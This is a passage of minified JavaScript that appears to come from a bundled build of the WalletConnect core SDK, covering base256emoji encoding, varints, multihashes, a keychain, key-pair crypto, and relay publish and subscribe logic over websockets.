dh=Array.from("🚀🪐☄🛰🌌🌑🌒🌓🌔🌕🌖🌗🌘🌍🌏🌎🐉☀💻🖥💾💿😂❤😍🤣😊🙏💕😭😘👍😅👏😁🔥🥰💔💖💙😢🤔😆🙄💪😉☺👌🤗💜😔😎😇🌹🤦🎉💞✌✨🤷😱😌🌸🙌😋💗💚😏💛🙂💓🤩😄😀🖤😃💯🙈👇🎶😒🤭❣😜💋👀😪😑💥🙋😞😩😡🤪👊🥳😥🤤👉💃😳✋😚😝😴🌟😬🙃🍀🌷😻😓⭐✅🥺🌈😈🤘💦✔😣🏃💐☹🎊💘😠☝😕🌺🎂🌻😐🖕💝🙊😹🗣💫💀👑🎵🤞😛🔴😤🌼😫⚽🤙☕🏆🤫👈😮🙆🍻🍃🐶💁😲🌿🧡🎁⚡🌞🎈❌✊👋😰🤨😶🤝🚶💰🍓💢🤟🙁🚨💨🤬✈🎀🍺🤓😙💟🌱😖👶🥴▶➡❓💎💸⬇😨🌚🦋😷🕺⚠🙅😟😵👎🤲🤠🤧📌🔵💅🧐🐾🍒😗🤑🌊🤯🐷☎💧😯💆👆🎤🙇🍑❄🌴💣🐸💌📍🥀🤢👅💡💩👐📸👻🤐🤮🎼🥵🚩🍎🍊👼💍📣🥂"),ph=dh.reduce(((e,t,n)=>(e[n]=t,e)),[]),gh=dh.reduce(((e,t,n)=>(e[t.codePointAt(0)]=n,e)),[]);function yh(e){return e.reduce(((e,t)=>e+=ph[t]),"")}function vh(e){const t=[];for(const n of e){const e=gh[n.codePointAt(0)];if(void 0===e)throw new Error(`Non-base256emoji character: ${n}`);t.push(e)}return new Uint8Array(t)}const mh=Pf({prefix:"🚀",name:"base256emoji",encode:yh,decode:vh});var _h=Object.freeze({__proto__:null,base256emoji:mh}),bh=Oh,wh=128,Eh=-128,Sh=Math.pow(2,31);function Oh(e,t,n){t=t||[];for(var r=n=n||0;e>=Sh;)t[n++]=255&e|wh,e/=128;for(;e&Eh;)t[n++]=255&e|wh,e>>>=7;return t[n]=0|e,Oh.bytes=n-r+1,t}var xh=kh,Ih=128,Rh=127;function kh(e,t){var n,r=0,i=0,o=t=t||0,s=e.length;do{if(o>=s)throw kh.bytes=0,new RangeError("Could not decode varint");n=e[o++],r+=i<28?(n&Rh)<<i:(n&Rh)*Math.pow(2,i),i+=7}while(n>=Ih);return kh.bytes=o-t,r}var Ch=Math.pow(2,7),Ph=Math.pow(2,14),Ah=Math.pow(2,21),Nh=Math.pow(2,28),Th=Math.pow(2,35),Mh=Math.pow(2,42),Lh=Math.pow(2,49),jh=Math.pow(2,56),Uh=Math.pow(2,63),Dh={encode:bh,decode:xh,encodingLength:function(e){return e<Ch?1:e<Ph?2:e<Ah?3:e<Nh?4:e<Th?5:e<Mh?6:e<Lh?7:e<jh?8:e<Uh?9:10}};const zh=(e,t,n=0)=>(Dh.encode(e,t,n),t),Fh=e=>Dh.encodingLength(e),Bh=(e,t)=>{const n=t.byteLength,r=Fh(e),i=r+Fh(n),o=new Uint8Array(i+n);return zh(e,o,0),zh(n,o,r),o.set(t,i),new Hh(e,n,t,o)};class Hh{constructor(e,t,n,r){this.code=e,this.size=t,this.digest=n,this.bytes=r}}const qh=({name:e,code:t,encode:n})=>new Vh(e,t,n);class Vh{constructor(e,t,n){this.name=e,this.code=t,this.encode=n}digest(e){if(e instanceof Uint8Array){const t=this.encode(e);return t instanceof Uint8Array?Bh(this.code,t):t.then((e=>Bh(this.code,e)))}throw Error("Unknown type, must be binary type")}}const $h=e=>async t=>new Uint8Array(await crypto.subtle.digest(e,t)),Wh=qh({name:"sha2-256",code:18,encode:$h("SHA-256")}),Kh=qh({name:"sha2-512",code:19,encode:$h("SHA-512")});var Gh=Object.freeze({__proto__:null,sha256:Wh,sha512:Kh});const Yh=0,Qh="identity",Jh=Ef;var Xh=Object.freeze({__proto__:null,identity:{code:Yh,name:Qh,encode:Jh,digest:e=>Bh(Yh,Jh(e))}});new TextEncoder,new TextDecoder;const Zh=_f(_f(_f(_f(_f(_f(_f(_f(_f(_f({},jf),Df),Ff),Hf),$f),th),ih),ah),hh),_h);function ed(e){return null!=globalThis.Buffer?new Uint8Array(e.buffer,e.byteOffset,e.byteLength):e}function td(e=0){return null!=globalThis.Buffer&&null!=globalThis.Buffer.allocUnsafe?ed(globalThis.Buffer.allocUnsafe(e)):new Uint8Array(e)}function nd(e,t,n,r){return{name:e,prefix:t,encoder:{name:e,prefix:t,encode:n},decoder:{decode:r}}}_f(_f({},Gh),Xh);const rd=nd("utf8","u",(e=>"u"+new TextDecoder("utf8").decode(e)),(e=>(new TextEncoder).encode(e.substring(1)))),id=nd("ascii","a",(e=>{let t="a";for(let n=0;n<e.length;n++)t+=String.fromCharCode(e[n]);return t}),(e=>{const t=td((e=e.substring(1)).length);for(let n=0;n<e.length;n++)t[n]=e.charCodeAt(n);return t})),od=_f({utf8:rd,"utf-8":rd,hex:Zh.base16,latin1:id,ascii:id,binary:id},Zh);function sd(e,t="utf8"){const n=od[t];if(!n)throw new Error(`Unsupported encoding "${t}"`);return"utf8"!==t&&"utf-8"!==t||null==globalThis.Buffer||null==globalThis.Buffer.from?n.decoder.decode(`${n.prefix}${e}`):ed(globalThis.Buffer.from(e,"utf-8"))}const ad="wc",ud=2,cd="core",ld=`${ad}@2:${cd}:`,fd={name:cd,logger:"error"},hd={database:":memory:"},dd="crypto",pd="client_ed25519_seed",gd=We.ONE_DAY,yd="keychain",vd="0.3",md="messages",_d="0.3",bd=We.SIX_HOURS,wd="publisher",Ed="irn",Sd="error",Od="wss://relay.walletconnect.com",xd="wss://relay.walletconnect.org",Id="relayer",Rd={message:"relayer_message",message_ack:"relayer_message_ack",connect:"relayer_connect",disconnect:"relayer_disconnect",error:"relayer_error",connection_stalled:"relayer_connection_stalled",transport_closed:"relayer_transport_closed",publish:"relayer_publish"},kd="_subscription",Cd={payload:"payload",connect:"connect",disconnect:"disconnect",error:"error"},Pd=We.ONE_SECOND/2,Ad="2.9.2",Nd=1e4,Td="0.3",Md="WALLETCONNECT_CLIENT_ID",Ld={created:"subscription_created",deleted:"subscription_deleted",expired:"subscription_expired",disabled:"subscription_disabled",sync:"subscription_sync",resubscribed:"subscription_resubscribed"},jd="subscription",Ud="0.3",Dd=1e3*We.FIVE_SECONDS,zd="pairing",Fd="0.3",Bd={wc_pairingDelete:{req:{ttl:We.ONE_DAY,prompt:!1,tag:1e3},res:{ttl:We.ONE_DAY,prompt:!1,tag:1001}},wc_pairingPing:{req:{ttl:We.THIRTY_SECONDS,prompt:!1,tag:1002},res:{ttl:We.THIRTY_SECONDS,prompt:!1,tag:1003}},unregistered_method:{req:{ttl:We.ONE_DAY,prompt:!1,tag:0},res:{ttl:We.ONE_DAY,prompt:!1,tag:0}}},Hd={created:"history_created",updated:"history_updated",deleted:"history_deleted",sync:"history_sync"},qd="history",Vd="0.3",$d="expirer",Wd={created:"expirer_created",deleted:"expirer_deleted",expired:"expirer_expired",sync:"expirer_sync"},Kd="0.3",Gd="verify-api",Yd="https://verify.walletconnect.com";class Qd{constructor(e,t){this.core=e,this.logger=t,this.keychain=new Map,this.name=yd,this.version=vd,this.initialized=!1,this.storagePrefix=ld,this.init=async()=>{if(!this.initialized){const e=await this.getKeyChain();typeof e<"u"&&(this.keychain=e),this.initialized=!0}},this.has=e=>(this.isInitialized(),this.keychain.has(e)),this.set=async(e,t)=>{this.isInitialized(),this.keychain.set(e,t),await this.persist()},this.get=e=>{this.isInitialized();const t=this.keychain.get(e);if(typeof t>"u"){const{message:t}=lc("NO_MATCHING_KEY",`${this.name}: ${e}`);throw new Error(t)}return t},this.del=async e=>{this.isInitialized(),this.keychain.delete(e),await this.persist()},this.core=e,this.logger=un.generateChildLogger(t,this.name)}get context(){return un.getLoggerContext(this.logger)}get storageKey(){return this.storagePrefix+this.version+"//"+this.name}async setKeyChain(e){await this.core.storage.setItem(this.storageKey,ku(e))}async getKeyChain(){const e=await this.core.storage.getItem(this.storageKey);return typeof e<"u"?Cu(e):void 0}async persist(){await this.setKeyChain(this.keychain)}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}}class Jd{constructor(e,t,n){this.core=e,this.logger=t,this.name=dd,this.initialized=!1,this.init=async()=>{this.initialized||(await this.keychain.init(),this.initialized=!0)},this.hasKeys=e=>(this.isInitialized(),this.keychain.has(e)),this.getClientId=async()=>(this.isInitialized(),as(fs(await this.getClientSeed()).publicKey)),this.generateKeyPair=()=>{this.isInitialized();const e=Ga();return this.setPrivateKey(e.publicKey,e.privateKey)},this.signJWT=async e=>{this.isInitialized();const t=fs(await this.getClientSeed()),n=Ya();return await hs(n,e,gd,t)},this.generateSharedKey=(e,t,n)=>{this.isInitialized();const r=Qa(this.getPrivateKey(e),t);return this.setSymKey(r,n)},this.setSymKey=async(e,t)=>{this.isInitialized();const n=t||Ja(e);return await this.keychain.set(n,e),n},this.deleteKeyPair=async e=>{this.isInitialized(),await this.keychain.del(e)},this.deleteSymKey=async e=>{this.isInitialized(),await this.keychain.del(e)},this.encode=async(e,t,n)=>{this.isInitialized();const r=su(n),i=sr(t);if(au(r)){const t=r.senderPublicKey,n=r.receiverPublicKey;e=await this.generateSharedKey(t,n)}const o=this.getSymKey(e),{type:s,senderPublicKey:a}=r;return tu({type:s,symKey:o,message:i,senderPublicKey:a})},this.decode=async(e,t,n)=>{this.isInitialized();const r=ou(t,n);if(au(r)){const t=r.receiverPublicKey,n=r.senderPublicKey;e=await this.generateSharedKey(t,n)}try{const n=this.getSymKey(e);return or(nu({symKey:n,encoded:t}))}catch(t){this.logger.error(`Failed to decode message from topic: '${e}', clientId: '${await this.getClientId()}'`),this.logger.error(t)}},this.getPayloadType=e=>eu(iu(e).type),this.getPayloadSenderPublicKey=e=>{const t=iu(e);return t.senderPublicKey?is(t.senderPublicKey,za):void 0},this.core=e,this.logger=un.generateChildLogger(t,this.name),this.keychain=n||new Qd(this.core,this.logger)}get context(){return un.getLoggerContext(this.logger)}async setPrivateKey(e,t){return await this.keychain.set(e,t),e}getPrivateKey(e){return this.keychain.get(e)}async getClientSeed(){let e="";try{e=this.keychain.get(pd)}catch{e=Ya(),await this.keychain.set(pd,e)}return sd(e,"base16")}getSymKey(e){return this.keychain.get(e)}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}}class Xd extends Gn{constructor(e,t){super(e,t),this.logger=e,this.core=t,this.messages=new Map,this.name=md,this.version=_d,this.initialized=!1,this.storagePrefix=ld,this.init=async()=>{if(!this.initialized){this.logger.trace("Initialized");try{const e=await this.getRelayerMessages();typeof e<"u"&&(this.messages=e),this.logger.debug(`Successfully Restored records for ${this.name}`),this.logger.trace({type:"method",method:"restore",size:this.messages.size})}catch(e){this.logger.debug(`Failed to Restore records for ${this.name}`),this.logger.error(e)}finally{this.initialized=!0}}},this.set=async(e,t)=>{this.isInitialized();const n=Xa(t);let r=this.messages.get(e);return typeof r>"u"&&(r={}),typeof r[n]<"u"||(r[n]=t,this.messages.set(e,r),await this.persist()),n},this.get=e=>{this.isInitialized();let t=this.messages.get(e);return typeof t>"u"&&(t={}),t},this.has=(e,t)=>(this.isInitialized(),typeof this.get(e)[Xa(t)]<"u"),this.del=async e=>{this.isInitialized(),this.messages.delete(e),await this.persist()},this.logger=un.generateChildLogger(e,this.name),this.core=t}get context(){return un.getLoggerContext(this.logger)}get storageKey(){return this.storagePrefix+this.version+"//"+this.name}async setRelayerMessages(e){await this.core.storage.setItem(this.storageKey,ku(e))}async getRelayerMessages(){const e=await this.core.storage.getItem(this.storageKey);return typeof e<"u"?Cu(e):void 0}async persist(){await this.setRelayerMessages(this.messages)}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}}class Zd extends Yn{constructor(e,t){super(e,t),this.relayer=e,this.logger=t,this.events=new o.exports.EventEmitter,this.name=wd,this.queue=new Map,this.publishTimeout=We.toMiliseconds(We.TEN_SECONDS),this.queueTimeout=We.toMiliseconds(We.FIVE_SECONDS),this.needsTransportRestart=!1,this.publish=async(e,t,n)=>{this.logger.debug("Publishing Payload"),this.logger.trace({type:"method",method:"publish",params:{topic:e,message:t,opts:n}});try{const r=n?.ttl||bd,i=Hu(n),o=n?.prompt||!1,s=n?.tag||0,a=n?.id||zl().toString(),u={topic:e,message:t,opts:{ttl:r,relay:i,prompt:o,tag:s,id:a}},c=setTimeout((()=>this.queue.set(a,u)),this.queueTimeout);try{await await Au(this.rpcPublish(e,t,r,i,o,s,a),this.publishTimeout),clearTimeout(c),this.relayer.events.emit(Rd.publish,u)}catch{return this.logger.debug("Publishing Payload stalled"),void(this.needsTransportRestart=!0)}this.logger.debug("Successfully Published Payload"),this.logger.trace({type:"method",method:"publish",params:{topic:e,message:t,opts:n}})}catch(e){throw this.logger.debug("Failed to Publish Payload"),this.logger.error(e),e}},this.on=(e,t)=>{this.events.on(e,t)},this.once=(e,t)=>{this.events.once(e,t)},this.off=(e,t)=>{this.events.off(e,t)},this.removeListener=(e,t)=>{this.events.removeListener(e,t)},this.relayer=e,this.logger=un.generateChildLogger(t,this.name),this.registerEventListeners()}get context(){return un.getLoggerContext(this.logger)}rpcPublish(e,t,n,r,i,o,s){var a,u,c,l;const f={method:qu(r.protocol).publish,params:{topic:e,message:t,ttl:n,prompt:i,tag:o},id:s};return pc(null==(a=f.params)?void 0:a.prompt)&&(null==(u=f.params)||delete u.prompt),pc(null==(c=f.params)?void 0:c.tag)&&(null==(l=f.params)||delete l.tag),this.logger.debug("Outgoing Relay Payload"),this.logger.trace({type:"message",direction:"outgoing",request:f}),this.relayer.request(f)}onPublish(e){this.queue.delete(e)}checkQueue(){this.queue.forEach((async e=>{const{topic:t,message:n,opts:r}=e;await this.publish(t,n,r)}))}registerEventListeners(){this.relayer.core.heartbeat.on(_e.HEARTBEAT_EVENTS.pulse,(()=>{if(this.needsTransportRestart)return this.needsTransportRestart=!1,void this.relayer.events.emit(Rd.connection_stalled);this.checkQueue()})),this.relayer.on(Rd.message_ack,(e=>{this.onPublish(e.id.toString())}))}}class ep{constructor(){this.map=new Map,this.set=(e,t)=>{const n=this.get(e);this.exists(e,t)||this.map.set(e,[...n,t])},this.get=e=>this.map.get(e)||[],this.exists=(e,t)=>this.get(e).includes(t),this.delete=(e,t)=>{if(typeof t>"u")return void this.map.delete(e);if(!this.map.has(e))return;const n=this.get(e);if(!this.exists(e,t))return;const r=n.filter((e=>e!==t));r.length?this.map.set(e,r):this.map.delete(e)},this.clear=()=>{this.map.clear()}}get topics(){return Array.from(this.map.keys())}}var tp=Object.defineProperty,np=Object.defineProperties,rp=Object.getOwnPropertyDescriptors,ip=Object.getOwnPropertySymbols,op=Object.prototype.hasOwnProperty,sp=Object.prototype.propertyIsEnumerable,ap=(e,t,n)=>t in e?tp(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,up=(e,t)=>{for(var n in t||(t={}))op.call(t,n)&&ap(e,n,t[n]);if(ip)for(var n of ip(t))sp.call(t,n)&&ap(e,n,t[n]);return e},cp=(e,t)=>np(e,rp(t));class lp extends Xn{constructor(e,t){super(e,t),this.relayer=e,this.logger=t,this.subscriptions=new Map,this.topicMap=new ep,this.events=new o.exports.EventEmitter,this.name=jd,this.version=Ud,this.pending=new Map,this.cached=[],this.initialized=!1,this.pendingSubscriptionWatchLabel="pending_sub_watch_label",this.pollingInterval=20,this.storagePrefix=ld,this.subscribeTimeout=1e4,this.restartInProgress=!1,this.batchSubscribeTopicsLimit=500,this.init=async()=>{this.initialized||(this.logger.trace("Initialized"),await this.restart(),this.registerEventListeners(),this.onEnable(),this.clientId=await this.relayer.core.crypto.getClientId())},this.subscribe=async(e,t)=>{await this.restartToComplete(),this.isInitialized(),this.logger.debug("Subscribing Topic"),this.logger.trace({type:"method",method:"subscribe",params:{topic:e,opts:t}});try{const n=Hu(t),r={topic:e,relay:n};this.pending.set(e,r);const i=await this.rpcSubscribe(e,n);return this.onSubscribe(i,r),this.logger.debug("Successfully Subscribed Topic"),this.logger.trace({type:"method",method:"subscribe",params:{topic:e,opts:t}}),i}catch(e){throw this.logger.debug("Failed to Subscribe Topic"),this.logger.error(e),e}},this.unsubscribe=async(e,t)=>{await this.restartToComplete(),this.isInitialized(),typeof t?.id<"u"?await this.unsubscribeById(e,t.id,t):await this.unsubscribeByTopic(e,t)},this.isSubscribed=async e=>!!this.topics.includes(e)||await new Promise(((t,n)=>{const r=new We.Watch;r.start(this.pendingSubscriptionWatchLabel);const i=setInterval((()=>{!this.pending.has(e)&&this.topics.includes(e)&&(clearInterval(i),r.stop(this.pendingSubscriptionWatchLabel),t(!0)),r.elapsed(this.pendingSubscriptionWatchLabel)>=Dd&&(clearInterval(i),r.stop(this.pendingSubscriptionWatchLabel),n(new Error("Subscription resolution timeout")))}),this.pollingInterval)})).catch((()=>!1)),this.on=(e,t)=>{this.events.on(e,t)},this.once=(e,t)=>{this.events.once(e,t)},this.off=(e,t)=>{this.events.off(e,t)},this.removeListener=(e,t)=>{this.events.removeListener(e,t)},this.restart=async()=>{this.restartInProgress=!0,await this.restore(),await this.reset(),this.restartInProgress=!1},this.relayer=e,this.logger=un.generateChildLogger(t,this.name),this.clientId=""}get context(){return un.getLoggerContext(this.logger)}get storageKey(){return this.storagePrefix+this.version+"//"+this.name}get length(){return this.subscriptions.size}get ids(){return Array.from(this.subscriptions.keys())}get values(){return Array.from(this.subscriptions.values())}get topics(){return this.topicMap.topics}hasSubscription(e,t){let n=!1;try{n=this.getSubscription(e).topic===t}catch{}return n}onEnable(){this.cached=[],this.initialized=!0}onDisable(){this.cached=this.values,this.subscriptions.clear(),this.topicMap.clear()}async unsubscribeByTopic(e,t){const n=this.topicMap.get(e);await Promise.all(n.map((async n=>await this.unsubscribeById(e,n,t))))}async unsubscribeById(e,t,n){this.logger.debug("Unsubscribing Topic"),this.logger.trace({type:"method",method:"unsubscribe",params:{topic:e,id:t,opts:n}});try{const r=Hu(n);await this.rpcUnsubscribe(e,t,r);const i=fc("USER_DISCONNECTED",`${this.name}, ${e}`);await this.onUnsubscribe(e,t,i),this.logger.debug("Successfully Unsubscribed Topic"),this.logger.trace({type:"method",method:"unsubscribe",params:{topic:e,id:t,opts:n}})}catch(e){throw this.logger.debug("Failed to Unsubscribe Topic"),this.logger.error(e),e}}async rpcSubscribe(e,t){const n={method:qu(t.protocol).subscribe,params:{topic:e}};this.logger.debug("Outgoing Relay Payload"),this.logger.trace({type:"payload",direction:"outgoing",request:n});try{await await Au(this.relayer.request(n),this.subscribeTimeout)}catch{this.logger.debug("Outgoing Relay Subscribe Payload stalled"),this.relayer.events.emit(Rd.connection_stalled)}return Xa(e+this.clientId)}async rpcBatchSubscribe(e){if(!e.length)return;const t={method:qu(e[0].relay.protocol).batchSubscribe,params:{topics:e.map((e=>e.topic))}};this.logger.debug("Outgoing Relay Payload"),this.logger.trace({type:"payload",direction:"outgoing",request:t});try{return await await Au(this.relayer.request(t),this.subscribeTimeout)}catch{this.logger.debug("Outgoing Relay Payload stalled"),this.relayer.events.emit(Rd.connection_stalled)}}rpcUnsubscribe(e,t,n){const r={method:qu(n.protocol).unsubscribe,params:{topic:e,id:t}};return this.logger.debug("Outgoing Relay Payload"),this.logger.trace({type:"payload",direction:"outgoing",request:r}),this.relayer.request(r)}onSubscribe(e,t){this.setSubscription(e,cp(up({},t),{id:e})),this.pending.delete(t.topic)}onBatchSubscribe(e){e.length&&e.forEach((e=>{this.setSubscription(e.id,up({},e)),this.pending.delete(e.topic)}))}async onUnsubscribe(e,t,n){this.events.removeAllListeners(t),this.hasSubscription(t,e)&&this.deleteSubscription(t,n),await this.relayer.messages.del(e)}async setRelayerSubscriptions(e){await this.relayer.core.storage.setItem(this.storageKey,e)}async getRelayerSubscriptions(){return await this.relayer.core.storage.getItem(this.storageKey)}setSubscription(e,t){this.subscriptions.has(e)||(this.logger.debug("Setting subscription"),this.logger.trace({type:"method",method:"setSubscription",id:e,subscription:t}),this.addSubscription(e,t))}addSubscription(e,t){this.subscriptions.set(e,up({},t)),this.topicMap.set(t.topic,e),this.events.emit(Ld.created,t)}getSubscription(e){this.logger.debug("Getting subscription"),this.logger.trace({type:"method",method:"getSubscription",id:e});const t=this.subscriptions.get(e);if(!t){const{message:t}=lc("NO_MATCHING_KEY",`${this.name}: ${e}`);throw new Error(t)}return t}deleteSubscription(e,t){this.logger.debug("Deleting subscription"),this.logger.trace({type:"method",method:"deleteSubscription",id:e,reason:t});const n=this.getSubscription(e);this.subscriptions.delete(e),this.topicMap.delete(n.topic,e),this.events.emit(Ld.deleted,cp(up({},n),{reason:t}))}async persist(){await this.setRelayerSubscriptions(this.values),this.events.emit(Ld.sync)}async reset(){if(this.cached.length){const e=Math.ceil(this.cached.length/this.batchSubscribeTopicsLimit);for(let t=0;t<e;t++){const e=this.cached.splice(0,this.batchSubscribeTopicsLimit);await this.batchSubscribe(e)}}this.events.emit(Ld.resubscribed)}async restore(){try{const e=await this.getRelayerSubscriptions();if(typeof e>"u"||!e.length)return;if(this.subscriptions.size){const{message:e}=lc("RESTORE_WILL_OVERRIDE",this.name);throw this.logger.error(e),this.logger.error(`${this.name}: ${JSON.stringify(this.values)}`),new Error(e)}this.cached=e,this.logger.debug(`Successfully Restored subscriptions for ${this.name}`),this.logger.trace({type:"method",method:"restore",subscriptions:this.values})}catch(e){this.logger.debug(`Failed to Restore subscriptions for ${this.name}`),this.logger.error(e)}}async batchSubscribe(e){if(!e.length)return;const t=await this.rpcBatchSubscribe(e);hc(t)&&this.onBatchSubscribe(t.map(((t,n)=>cp(up({},e[n]),{id:t}))))}async onConnect(){this.restartInProgress||(await this.restart(),this.onEnable())}onDisconnect(){this.onDisable()}async checkPending(){if(this.relayer.transportExplicitlyClosed)return;const e=[];this.pending.forEach((t=>{e.push(t)})),await this.batchSubscribe(e)}registerEventListeners(){this.relayer.core.heartbeat.on(_e.HEARTBEAT_EVENTS.pulse,(async()=>{await this.checkPending()})),this.relayer.on(Rd.connect,(async()=>{await this.onConnect()})),this.relayer.on(Rd.disconnect,(()=>{this.onDisconnect()})),this.events.on(Ld.created,(async e=>{const t=Ld.created;this.logger.info(`Emitting ${t}`),this.logger.debug({type:"event",event:t,data:e}),await this.persist()})),this.events.on(Ld.deleted,(async e=>{const t=Ld.deleted;this.logger.info(`Emitting ${t}`),this.logger.debug({type:"event",event:t,data:e}),await this.persist()}))}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}async restartToComplete(){this.restartInProgress&&await new Promise((e=>{const t=setInterval((()=>{this.restartInProgress||(clearInterval(t),e())}),this.pollingInterval)}))}}var fp=Object.defineProperty,hp=Object.getOwnPropertySymbols,dp=Object.prototype.hasOwnProperty,pp=Object.prototype.propertyIsEnumerable,gp=(e,t,n)=>t in e?fp(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,yp=(e,t)=>{for(var n in t||(t={}))dp.call(t,n)&&gp(e,n,t[n]);if(hp)for(var n of hp(t))pp.call(t,n)&&gp(e,n,t[n]);return e};class vp extends Qn{constructor(e){super(e),this.protocol="wc",this.version=2,this.events=new o.exports.EventEmitter,this.name=Id,this.transportExplicitlyClosed=!1,this.initialized=!1,this.reconnecting=!1,this.connectionStatusPollingInterval=20,this.staleConnectionErrors=["socket hang up","socket stalled"],this.request=async e=>{this.logger.debug("Publishing Request Payload");try{return await this.toEstablishConnection(),await this.provider.request(e)}catch(e){throw this.logger.debug("Failed to Publish Request"),this.logger.error(e),e}},this.core=e.core,this.logger=typeof e.logger<"u"&&"string"!=typeof e.logger?un.generateChildLogger(e.logger,this.name):un.pino(un.getDefaultLoggerOptions({level:e.logger||Sd})),this.messages=new Xd(this.logger,e.core),this.subscriber=new lp(this,this.logger),this.publisher=new Zd(this,this.logger),this.relayUrl=e?.relayUrl||Od,this.projectId=e.projectId,this.provider={}}async init(){this.logger.trace("Initialized"),await this.createProvider(),await Promise.all([this.messages.init(),this.subscriber.init()]);try{await this.transportOpen()}catch{this.logger.warn(`Connection via ${this.relayUrl} failed, attempting to connect via failover domain ${xd}...`),await this.restartTransport(xd)}this.registerEventListeners(),this.initialized=!0,setTimeout((async()=>{0===this.subscriber.topics.length&&(this.logger.info("No topics subscribed to after init, closing transport"),await this.transportClose(),this.transportExplicitlyClosed=!1)}),Nd)}get context(){return un.getLoggerContext(this.logger)}get connected(){return this.provider.connection.connected}get connecting(){return this.provider.connection.connecting}async publish(e,t,n){this.isInitialized(),await this.publisher.publish(e,t,n),await this.recordMessageEvent({topic:e,message:t,publishedAt:Date.now()})}async subscribe(e,t){var n;this.isInitialized();let r=(null==(n=this.subscriber.topicMap.get(e))?void 0:n[0])||"";return r||(await Promise.all([new Promise((t=>{this.subscriber.once(Ld.created,(n=>{n.topic===e&&t()}))})),new Promise((async n=>{r=await this.subscriber.subscribe(e,t),n()}))]),r)}async unsubscribe(e,t){this.isInitialized(),await this.subscriber.unsubscribe(e,t)}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}off(e,t){this.events.off(e,t)}removeListener(e,t){this.events.removeListener(e,t)}async transportClose(){this.transportExplicitlyClosed=!0,this.connected&&(await this.provider.disconnect(),this.events.emit(Rd.transport_closed))}async transportOpen(e){if(this.transportExplicitlyClosed=!1,!this.reconnecting){this.relayUrl=e||this.relayUrl,this.reconnecting=!0;try{await Promise.all([new Promise((e=>{this.initialized||e(),this.subscriber.once(Ld.resubscribed,(()=>{e()}))})),await Promise.race([new Promise((async(e,t)=>{await Au(this.provider.connect(),1e4,`Socket stalled when trying to connect to ${this.relayUrl}`).catch((e=>t(e))).then((()=>e())).finally((()=>this.removeListener(Rd.transport_closed,this.rejectTransportOpen)))})),new Promise((e=>this.once(Rd.transport_closed,this.rejectTransportOpen)))])])}catch(e){this.logger.error(e);const t=e;if(!this.isConnectionStalled(t.message))throw e;this.events.emit(Rd.transport_closed)}finally{this.reconnecting=!1}}}async restartTransport(e){this.transportExplicitlyClosed||this.reconnecting||(this.relayUrl=e||this.relayUrl,this.connected&&await Promise.all([new Promise((e=>{this.provider.once(Cd.disconnect,(()=>{e()}))})),this.transportClose()]),await this.createProvider(),await this.transportOpen())}isConnectionStalled(e){return this.staleConnectionErrors.some((t=>e.includes(t)))}rejectTransportOpen(){throw new Error("Attempt to connect to relay via `transportOpen` has stalled. Retrying...")}async createProvider(){const e=await this.core.crypto.signJWT(this.relayUrl);this.provider=new sf(new ff(Iu({sdkVersion:Ad,protocol:this.protocol,version:this.version,relayUrl:this.relayUrl,projectId:this.projectId,auth:e,useOnCloseEvent:!0}))),this.registerProviderListeners()}async recordMessageEvent(e){const{topic:t,message:n}=e;await this.messages.set(t,n)}async shouldIgnoreMessageEvent(e){const{topic:t,message:n}=e;if(!n||0===n.length)return this.logger.debug(`Ignoring invalid/empty message: ${n}`),!0;if(!await this.subscriber.isSubscribed(t))return this.logger.debug(`Ignoring message for non-subscribed topic ${t}`),!0;const r=this.messages.has(t,n);return r&&this.logger.debug(`Ignoring duplicate message: ${n}`),r}async onProviderPayload(e){if(this.logger.debug("Incoming Relay Payload"),this.logger.trace({type:"payload",direction:"incoming",payload:e}),tf(e)){if(!e.method.endsWith(kd))return;const t=e.params,{topic:n,message:r,publishedAt:i}=t.data,o={topic:n,message:r,publishedAt:i};this.logger.debug("Emitting Relayer Payload"),this.logger.trace(yp({type:"event",event:t.id},o)),this.events.emit(t.id,o),await this.acknowledgePayload(e),await this.onMessageEvent(o)}else nf(e)&&this.events.emit(Rd.message_ack,e)}async onMessageEvent(e){await this.shouldIgnoreMessageEvent(e)||(this.events.emit(Rd.message,e),await this.recordMessageEvent(e))}async acknowledgePayload(e){const t=Bl(e.id,!0);await this.provider.connection.send(t)}registerProviderListeners(){this.provider.on(Cd.payload,(e=>this.onProviderPayload(e))),this.provider.on(Cd.connect,(()=>{this.events.emit(Rd.connect)})),this.provider.on(Cd.disconnect,(()=>{this.onProviderDisconnect()})),this.provider.on(Cd.error,(e=>{this.logger.error(e),this.events.emit(Rd.error,e)}))}registerEventListeners(){this.events.on(Rd.connection_stalled,(async()=>{await this.restartTransport()}))}onProviderDisconnect(){this.events.emit(Rd.disconnect),this.attemptToReconnect()}attemptToReconnect(){this.transportExplicitlyClosed||setTimeout((async()=>{await this.restartTransport()}),We.toMiliseconds(Pd))}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}async toEstablishConnection(){if(!this.connected){if(this.connecting)return await new Promise((e=>{const t=setInterval((()=>{this.connected&&(clearInterval(t),e())}),this.connectionStatusPollingInterval)}));await this.restartTransport()}}}var mp=Object.defineProperty,_p=Object.getOwnPropertySymbols,bp=Object.prototype.hasOwnProperty,wp=Object.prototype.propertyIsEnumerable,Ep=(e,t,n)=>t in e?mp(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Sp=(e,t)=>{for(var n in t||(t={}))bp.call(t,n)&&Ep(e,n,t[n]);if(_p)for(var n of _p(t))wp.call(t,n)&&Ep(e,n,t[n]);return e};class Op extends Jn{constructor(e,t,n,r=ld,i=void 0){super(e,t,n,r),this.core=e,this.logger=t,this.name=n,this.map=new Map,this.version=Td,this.cached=[],this.initialized=!1,this.storagePrefix=ld,this.init=async()=>{this.initialized||(this.logger.trace("Initialized"),await this.restore(),this.cached.forEach((e=>{this.getKey&&null!==e&&!pc(e)?this.map.set(this.getKey(e),e):wc(e)?this.map.set(e.id,e):Ec(e)&&this.map.set(e.topic,e)})),this.cached=[],this.initialized=!0)},this.set=async(e,t)=>{this.isInitialized(),this.map.has(e)?await 